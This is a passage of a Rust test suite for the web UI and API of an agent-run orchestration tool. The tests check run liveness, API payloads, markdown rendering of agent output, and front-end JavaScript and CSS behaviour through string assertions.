11061 let labels: Vec<_> = list
11062 .as_array()
11063 .unwrap()
11064 .iter()
11065 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11066 .collect();
11067 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11068 }
11069
11070 #[tokio::test]
11077 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11078 let f = Fixture::start().await;
11079 let id = "20260922-090000-cccc";
11080 let mut state = RunState::new(
11081 PathBuf::from("/repo/magi"),
11082 "main".to_owned(),
11083 "0123456789abcdef".to_owned(),
11084 "Review only".to_owned(),
11085 Config::default(),
11086 );
11087 state.id = id.to_owned();
11088 state.status = RunStatus::Reviewing;
11089 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11090 state.driver_pid = Some(std::process::id());
11096 state.driver_started_at = Some(
11097 crate::proc::process_started_at(std::process::id())
11098 .expect("this test process's own start time must be queryable"),
11099 );
11100 let dir = f.runs().join(id);
11101 std::fs::create_dir_all(&dir).expect("run dir");
11102 std::fs::write(
11103 dir.join("run.json"),
11104 serde_json::to_string_pretty(&state).expect("serialize run"),
11105 )
11106 .expect("write run.json");
11107
11108 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11109 assert_eq!(detail["live"], "live", "{detail}");
11110 }
11111
11112 #[tokio::test]
11118 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11119 let f = Fixture::start().await;
11120 let id = "20260922-090100-dddd";
11121 let mut state = RunState::new(
11122 PathBuf::from("/repo/magi"),
11123 "main".to_owned(),
11124 "0123456789abcdef".to_owned(),
11125 "Review only".to_owned(),
11126 Config::default(),
11127 );
11128 state.id = id.to_owned();
11129 state.status = RunStatus::Reviewing;
11130 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11131 state.driver_pid = Some(std::process::id());
11136 state.driver_started_at = Some("1".to_owned());
11137 let dir = f.runs().join(id);
11138 std::fs::create_dir_all(&dir).expect("run dir");
11139 std::fs::write(
11140 dir.join("run.json"),
11141 serde_json::to_string_pretty(&state).expect("serialize run"),
11142 )
11143 .expect("write run.json");
11144
11145 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11146 assert_eq!(detail["live"], "dead", "{detail}");
11147 }
11148
11149 #[test]
11153 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11154 let mk = |id: &str, pid: Option<u32>| {
11155 let mut s = RunState::new(
11156 PathBuf::from("/repo/magi"),
11157 "main".to_owned(),
11158 "0123456789abcdef".to_owned(),
11159 "Add a web UI".to_owned(),
11160 Config::default(),
11161 );
11162 s.id = id.to_owned();
11163 s.driver_pid = pid;
11164 s.driver_started_at = Some("1790000000".to_owned());
11165 s
11166 };
11167 let states = vec![
11168 mk("20260902-140502-aaaa", Some(77)),
11169 mk("20260902-140502-bbbb", Some(77)),
11170 mk("20260902-140502-cccc", Some(77)),
11171 mk("20260902-140502-dddd", None),
11172 ];
11173 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11174 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11175 let sup: HashMap<String, String> = [(
11176 "20260902-140502-aaaa".to_owned(),
11177 "20260902-140502-cccc".to_owned(),
11178 )]
11179 .into();
11180
11181 let status_calls = std::cell::Cell::new(0);
11182 let identity_calls = std::cell::Cell::new(0);
11183 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11184 |_| {
11185 status_calls.set(status_calls.get() + 1);
11186 Some(true)
11187 },
11188 |_| {
11189 identity_calls.set(identity_calls.get() + 1);
11190 Some("1790000000".to_owned())
11191 },
11192 ));
11193 let rows = summarize(
11194 states,
11195 &open,
11196 &claimed,
11197 &sup,
11198 |p| probe.borrow_mut().status(p),
11199 |p| probe.borrow_mut().started_at(p),
11200 );
11201
11202 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11203 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11204 assert_eq!(rows.len(), 4);
11205 assert!(!rows[0].waiting && rows[1].waiting);
11206 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11207 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11208 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11209 assert_eq!(rows[1].superseded_by, None);
11210 }
11211
11212 #[test]
11213 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11214 let mut state = RunState::new(
11215 PathBuf::from("/repo/magi"),
11216 "main".to_owned(),
11217 "0123456789abcdef".to_owned(),
11218 "Review only".to_owned(),
11219 Config::default(),
11220 );
11221 state.id = "20260922-090200-dead".to_owned();
11222 state.status = RunStatus::Reviewing;
11223 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11224 .expect("serialize list row");
11225 assert_eq!(row["status"], "reviewing");
11226 assert_eq!(row["live"], "dead", "{row}");
11227 assert!(!row["done"].as_bool().unwrap());
11228 }
11229
11230 #[tokio::test]
11231 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11232 let f = Fixture::start().await;
11233 for id in [
11234 "20260902-140501-aaaa",
11235 "20260902-140502-bbbb",
11236 "20260902-140503-cccc",
11237 ] {
11238 write_run(&f.runs(), id, RunStatus::Merged);
11239 }
11240
11241 let all = f.get("/api/runs").await.json();
11242 let capped = f.get("/api/runs?limit=2").await.json();
11243
11244 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11245 assert_eq!(all.as_array().map(Vec::len), Some(3));
11246 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11247 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11248 }
11249
11250 #[tokio::test]
11251 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11252 let f = Fixture::start().await;
11253 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11254
11255 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11256
11257 assert_eq!(res.status, 200);
11258 assert!(
11259 res.headers
11260 .contains("content-type: text/plain; charset=utf-8"),
11261 "a browser must render it, not download it: {}",
11262 res.headers
11263 );
11264 assert!(
11268 res.body.contains("20260902-140501-a1b2"),
11269 "the report is about the run that was asked for: {}",
11270 res.body
11271 );
11272 }
11273
11274 #[tokio::test]
11275 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11276 let f = Fixture::start().await;
11277
11278 let html = f.get("/").await;
11279 let css = f.get("/app.css").await;
11280 let js = f.get("/app.js").await;
11281
11282 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11283 assert!(
11284 html.headers
11285 .contains("content-type: text/html; charset=utf-8")
11286 );
11287 assert!(css.headers.contains("content-type: text/css"));
11288 assert!(js.headers.contains("content-type: text/javascript"));
11289 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11290 }
11291
11292 #[test]
11293 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11294 let body = |name: &str| {
11295 let at = APP_JS
11296 .find(name)
11297 .unwrap_or_else(|| panic!("{name} missing"));
11298 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11299 };
11300 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11301 let note = body("function landRoundNote");
11302 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11303 assert!(note.contains("Land round ${round}"));
11304 let land = body("function renderLand");
11305 let note_at = land
11306 .find("landRoundNote(pr)")
11307 .expect("renderLand uses the note");
11308 assert!(
11309 note_at
11310 < land
11311 .find("roundRail(pr)")
11312 .expect("renderLand uses the rail")
11313 );
11314 }
11315
11316 #[test]
11317 fn the_runs_page_redesign_keeps_its_guards() {
11318 let body = |name: &str| {
11319 let at = APP_JS
11320 .find(name)
11321 .unwrap_or_else(|| panic!("{name} missing"));
11322 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11323 };
11324 let land = body("function renderLand");
11326 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11327 assert!(
11328 !land.contains("box.append("),
11329 "renderLand must use append()"
11330 );
11331 assert!(land.contains("append(box, ["));
11332 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11334 assert!(
11335 body("function applyRoute")
11336 .contains("route.name !== state.route.name || route.id !== state.route.id")
11337 );
11338 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11340 assert!(!INDEX_HTML.contains("advise-converge"));
11341 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11342 assert!(APP_JS.contains("provisional"));
11343 for id in [
11344 "run-tab-overview",
11345 "run-tab-timeline",
11346 "run-tab-report",
11347 "run-report",
11348 "runs-scope",
11349 ] {
11350 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11351 }
11352 assert!(!INDEX_HTML.contains("runs-tree"));
11353 assert!(!INDEX_HTML.contains("run-raw-panel"));
11354 assert!(APP_JS.contains("resume"));
11356 assert!(APP_JS.contains("unreadable"));
11358 }
11359
11360 #[test]
11361 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11362 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11363 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11364 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11365 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11366 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11367 assert!(APP_JS.contains("unreadable` : null"));
11369 }
11370
11371 #[test]
11372 fn the_run_detail_payload_says_whether_the_run_is_done() {
11373 for (status, done) in [
11375 (RunStatus::Superseded, true),
11376 (RunStatus::Blocked, true),
11377 (RunStatus::Landing, false),
11378 ] {
11379 let mut state = RunState::new(
11380 std::path::PathBuf::from("/repo"),
11381 "main".to_owned(),
11382 "abc".to_owned(),
11383 "x".to_owned(),
11384 crate::config::Config::default(),
11385 );
11386 state.status = status;
11387 let v = serde_json::to_value(RunDetailView::of(
11388 state,
11389 crate::run::Liveness::Unknown,
11390 None,
11391 None,
11392 None,
11393 ))
11394 .unwrap();
11395 assert_eq!(v["done"], done, "{status:?}");
11396 }
11397 }
11398
11399 fn has_strong(nodes: &[md::Node]) -> bool {
11401 serde_json::to_string(nodes).unwrap().contains("strong")
11402 }
11403
11404 #[test]
11405 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11406 let mut state = RunState::new(
11407 std::path::PathBuf::from("/repo"),
11408 "main".to_owned(),
11409 "abc".to_owned(),
11410 "x".to_owned(),
11411 crate::config::Config::default(),
11412 );
11413 let proposal = |approach: &str| {
11414 serde_json::json!({
11415 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11416 })
11417 };
11418 state.advice = Some(
11419 serde_json::from_value(serde_json::json!({
11420 "records": [
11421 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11422 "proposal": proposal("do **this**")},
11423 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11424 ],
11425 "synthesis": "- one\n- **two**\n\n`code`",
11426 }))
11427 .unwrap(),
11428 );
11429 state.candidates = serde_json::from_value(serde_json::json!([
11430 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11431 "summary": "did **it**"},
11432 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11433 ]))
11434 .unwrap();
11435 state.reviews = serde_json::from_value(serde_json::json!([{
11438 "round": 1, "head": "h",
11439 "reviews": [{
11440 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11441 "findings": [
11442 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11443 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11444 ],
11445 }],
11446 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11447 "fix": {"agent": "a", "notes": "fixed **it**",
11448 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11449 }, {"round": 2, "head": "h2", "reviews": []}]))
11450 .unwrap();
11451
11452 let v = serde_json::to_value(RunDetailView::of(
11453 state,
11454 crate::run::Liveness::Unknown,
11455 None,
11456 None,
11457 None,
11458 ))
11459 .unwrap();
11460
11461 let strong = |p: &str| {
11462 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11463 assert!(n.to_string().contains("strong"), "{p}: {n}");
11464 };
11465 strong("/advice_md/synthesis");
11466 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11467 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11468 strong("/advice_md/approaches/0");
11469 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11470 strong("/candidate_summaries_md/0");
11471 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11472 strong("/reviews_md/0/reviewers/0/summary");
11473 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11474 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11475 assert!(f[1].to_string().contains("strong"));
11476 strong("/reviews_md/0/reconsideration/0");
11477 strong("/reviews_md/0/fix/notes");
11478 strong("/reviews_md/0/fix/rejected/0");
11479 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11480 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11481 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11483 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11484 }
11485
11486 #[test]
11487 fn a_run_without_advice_has_no_advice_md() {
11488 let state = RunState::new(
11489 std::path::PathBuf::from("/repo"),
11490 "main".to_owned(),
11491 "abc".to_owned(),
11492 "x".to_owned(),
11493 crate::config::Config::default(),
11494 );
11495 let p = run_prose_md(&state);
11496 assert!(p.advice_md.is_none());
11497 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11498 }
11499
11500 #[test]
11501 fn a_question_view_carries_markdown_for_each_thread_turn() {
11502 let home = TempDir::new().unwrap();
11503 let store = ask::Questions::at(home.path().join("questions"));
11504 let mut q = Question::new(
11505 "run".to_owned(),
11506 "implement".to_owned(),
11507 "impl-A".to_owned(),
11508 "which?".to_owned(),
11509 String::new(),
11510 Vec::new(),
11511 );
11512 q.say("plain words").unwrap();
11513 q.reply("use **this**", Vec::new()).unwrap();
11514 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11515 let bodies = &v["thread_bodies_md"];
11516 assert_eq!(bodies.as_array().unwrap().len(), 2);
11517 assert!(!bodies[0].to_string().contains("strong"));
11518 assert!(bodies[1].to_string().contains("strong"));
11519 }
11520
11521 #[test]
11522 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11523 assert!(APP_JS.contains("function landView(run, raw) {"));
11527 assert!(
11528 APP_JS.contains(
11529 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11530 )
11531 );
11532 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11533 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11534 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11535 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11536 }
11537
11538 #[test]
11539 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11540 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11541 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11542 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11543 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11544 }
11545
11546 #[test]
11547 fn review_rounds_label_a_distinct_verified_head() {
11548 assert!(APP_JS.contains("round.verified_head"));
11549 assert!(APP_JS.contains("verified HEAD"));
11550 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11551 }
11552
11553 #[test]
11554 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11555 assert!(APP_JS.contains("blocked: { glyph:"));
11559 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11560
11561 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11565 assert!(
11566 APP_JS.contains(
11567 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11568 ),
11569 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11570 );
11571 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11575
11576 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11580 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11581 assert!(
11582 APP_JS.contains("location.hash = \"#/questions\";"),
11583 "a question node must jump to the Questions screen, not pretend to be a task"
11584 );
11585
11586 assert!(APP_JS.contains("Resolved questions"));
11589 assert!(APP_JS.contains("r.answersList.append("));
11590 assert!(APP_CSS.contains(".task-answers"));
11591 {
11592 let start = APP_JS
11593 .find("function updateTalkTaskRow")
11594 .expect("updateTalkTaskRow");
11595 let body = &APP_JS[start..];
11596 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11597 assert!(
11598 body.contains(
11599 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11600 ),
11601 "a chat-filed task row must link to the task page"
11602 );
11603 assert!(
11604 !body.contains("#/runs/") && !body.contains("#/queue/"),
11605 "the row must not branch to a run or the queue card"
11606 );
11607 assert!(APP_CSS.contains(".talk-task-link"));
11608 }
11609 }
11610
11611 #[test]
11612 fn a_task_notification_links_to_the_task_page() {
11613 let start = APP_JS
11615 .find("function noticeLink(")
11616 .expect("noticeLink exists");
11617 let body = &APP_JS[start..];
11618 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11619 assert!(
11620 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11621 "a task notice's link must target the task page"
11622 );
11623 assert!(
11624 !body.contains("#/queue/"),
11625 "regression: the task link must not go back to the Backlog route"
11626 );
11627 assert!(
11628 APP_JS.contains(
11629 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11630 ),
11631 "`#/tasks/<id>` must parse into the task route"
11632 );
11633
11634 assert!(
11636 APP_JS.contains(
11637 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11638 ),
11639 "`#/queue/<id>` must parse into a route carrying that id"
11640 );
11641
11642 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11646 assert!(APP_JS.contains("function consumeQueueFocus()"));
11647 assert!(APP_JS.contains("jumpToTask(id)"));
11648 }
11649
11650 #[test]
11653 fn chat_rows_put_the_title_alone_on_the_first_line() {
11654 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
11655 assert!(APP_CSS.contains(
11656 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11657 ));
11658 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11659 assert!(APP_JS.contains("class: \"badge talk-unread\""));
11660 }
11661
11662 #[test]
11663 fn run_rows_put_the_title_alone_on_the_first_line() {
11664 assert!(
11665 APP_CSS.contains(
11666 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
11667 )
11668 );
11669 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11670 assert!(APP_JS.contains("class: \"card run-card\""));
11671 assert!(APP_JS.contains("class: \"repo run-id\""));
11672 }
11673
11674 #[test]
11678 fn wide_screens_show_list_and_preview_side_by_side() {
11679 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11681 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11682 assert!(APP_CSS.contains("main[data-split]"));
11683 assert!(APP_CSS.contains("body[data-split]"));
11684
11685 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
11687 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11688 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11689 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11690 assert!(INDEX_HTML.contains("id=\"split-empty\""));
11691
11692 assert!(APP_JS.contains("function markSelected() {"));
11694 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11695 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11696 assert!(
11698 APP_CSS.contains(
11699 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11700 )
11701 );
11702
11703 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11705 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11706 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11707 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11708
11709 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11713 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11714 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11715 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11716
11717 assert!(APP_JS.contains("sandbox: \"\""));
11719 assert!(!APP_JS.contains("sandbox: \"allow"));
11720 }
11721
11722 #[test]
11723 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11724 assert!(
11733 APP_JS.contains(
11734 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
11735 ),
11736 "the search-clearing branch must run before state.queueFocus is cleared, or the \
11737 recursive renderQueue() call has nothing left to jump to"
11738 );
11739 assert!(
11740 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11741 "state.queueFocus must be cleared only once the jump has landed, so a card that \
11742 arrives later still gets it"
11743 );
11744 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11745 assert!(APP_JS.contains("is not in the current Backlog."));
11746 assert!(APP_JS.contains("li.card[data-task-id=\""));
11747 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11748 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11749 assert!(APP_CSS.contains(".card-permalink"));
11750 assert!(APP_CSS.contains(".queue-focus-status"));
11751 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11752 }
11753
11754 #[test]
11755 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11756 assert!(
11764 APP_JS.contains(
11765 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11766 ),
11767 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11768 );
11769 }
11770
11771 #[test]
11772 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11773 assert!(
11774 APP_JS.contains("round.verified_head !== round.head"),
11775 "a round that verified an earlier commit must be visibly distinct from one that \
11776 verified the head reviewers are looking at now"
11777 );
11778 assert!(
11779 APP_JS.contains("round.verified_at"),
11780 "when a check ran must be on the wire, not just which commit"
11781 );
11782 assert!(
11783 APP_JS.contains("resource_blocked"),
11784 "a command magi never got to run (shared build cache contention) must not render \
11785 the same as a command that ran and failed"
11786 );
11787 }
11788
11789 #[test]
11790 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11791 assert!(
11799 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11800 "every KPI tile built through statusTile() must route its click through \
11801 openRunsFiltered, the single place that sets the Runs filter"
11802 );
11803 for (label, status) in [
11804 ("Merged", "merged"),
11805 ("Ready", "ready"),
11806 ("Blocked", "blocked"),
11807 ("Stalled", "stalled"),
11808 ] {
11809 let call = format!("statusTile(\"{label}\", t.{status}, ");
11810 assert!(
11811 APP_JS.contains(&call),
11812 "expected the {label} KPI tile built via {call}..."
11813 );
11814 assert!(
11815 APP_JS.contains(&format!("status === \"{status}\"")),
11816 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11817 compare a run against, not one invented only for the stats tile"
11818 );
11819 }
11820 assert!(
11821 APP_JS.contains("function openRunsFiltered(status)"),
11822 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11823 );
11824 assert!(
11825 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11826 "matchesFilter must gate on the exact status a KPI tile named"
11827 );
11828 assert!(
11836 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
11837 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11838 hashchange event that may never fire"
11839 );
11840 }
11841
11842 #[test]
11843 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11844 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11850 assert!(
11851 APP_JS.contains(
11852 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
11853 ),
11854 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11855 guard for an incompatible tree section"
11856 );
11857 }
11858
11859 #[test]
11860 fn every_stats_queue_tile_names_a_real_queue_section() {
11861 assert!(
11867 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11868 "every queue tile built through sectionTile() must route its click through \
11869 openQueueSectionFocus"
11870 );
11871 for key in ["upnext", "running", "done", "held", "blocked"] {
11872 assert!(
11873 APP_JS.contains(&format!("{{ key: \"{key}\",")),
11874 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11875 );
11876 }
11877 for line in [
11881 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11882 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11883 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11884 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11885 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11886 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11887 ] {
11888 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11889 }
11890 }
11891
11892 #[test]
11893 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11894 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11901 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11902 assert!(APP_JS.contains("function revealQueueSection(details)"));
11903 assert!(
11904 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
11905 "renderQueue() must consume both focus channels on every pass"
11906 );
11907 assert!(
11908 APP_JS.contains(
11909 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
11910 ),
11911 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11912 the recursive renderQueue() call has nothing left to reveal"
11913 );
11914 assert!(
11915 APP_JS.contains(
11916 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
11917 ),
11918 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11919 );
11920 assert!(
11928 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
11929 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11930 hashchange event that may never fire"
11931 );
11932 }
11933
11934 #[tokio::test]
11935 async fn the_change_stream_announces_the_current_revisions_on_connect() {
11936 let f = Fixture::start().await;
11937
11938 let mut socket = tokio::net::TcpStream::connect(f.addr)
11939 .await
11940 .expect("connect");
11941 socket
11942 .write_all(
11943 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11944 )
11945 .await
11946 .expect("write request");
11947
11948 let mut seen = String::new();
11951 let mut buf = [0u8; 1024];
11952 while !seen.contains("event: change") {
11953 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11954 .await
11955 .expect("the stream must speak within five seconds")
11956 .expect("read");
11957 assert!(read > 0, "the server closed the change stream: {seen}");
11958 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11959 }
11960
11961 assert!(
11962 seen.to_lowercase()
11963 .contains("content-type: text/event-stream"),
11964 "the browser only reconnects automatically for a real SSE stream: {seen}"
11965 );
11966 let data = seen
11967 .lines()
11968 .find_map(|l| l.strip_prefix("data:"))
11969 .expect("a data line");
11970 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11971 assert!(
11972 payload["queue_rev"].is_u64()
11973 && payload["runs_rev"].is_u64()
11974 && payload["questions_rev"].is_u64()
11975 && payload["talks_rev"].is_u64()
11976 && payload["notifications_rev"].is_u64()
11977 && payload["loop_rev"].is_u64(),
11978 "the client needs one revision per store to know what to refetch, \
11979 and `talks_rev` is the only notification a standing talk gets - a \
11980 phone whose radio slept through a turn learns about it here, as \
11981 does one whose operator started the loop from another device: \
11982 {payload}"
11983 );
11984
11985 let health = f.get("/api/health").await.json();
11992 for key in [
11993 "queue_rev",
11994 "runs_rev",
11995 "questions_rev",
11996 "talks_rev",
11997 "notifications_rev",
11998 "loop_rev",
11999 ] {
12000 assert!(
12001 health[key].is_u64(),
12002 "health is the change stream's fallback and is missing `{key}`: {health}"
12003 );
12004 }
12005 }
12006
12007 #[tokio::test]
12008 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12009 let f = Fixture::start().await;
12010 let before = f.get("/api/health").await.json()["talks_rev"]
12011 .as_u64()
12012 .expect("talks_rev");
12013
12014 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12015 std::thread::sleep(Duration::from_millis(10));
12016 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
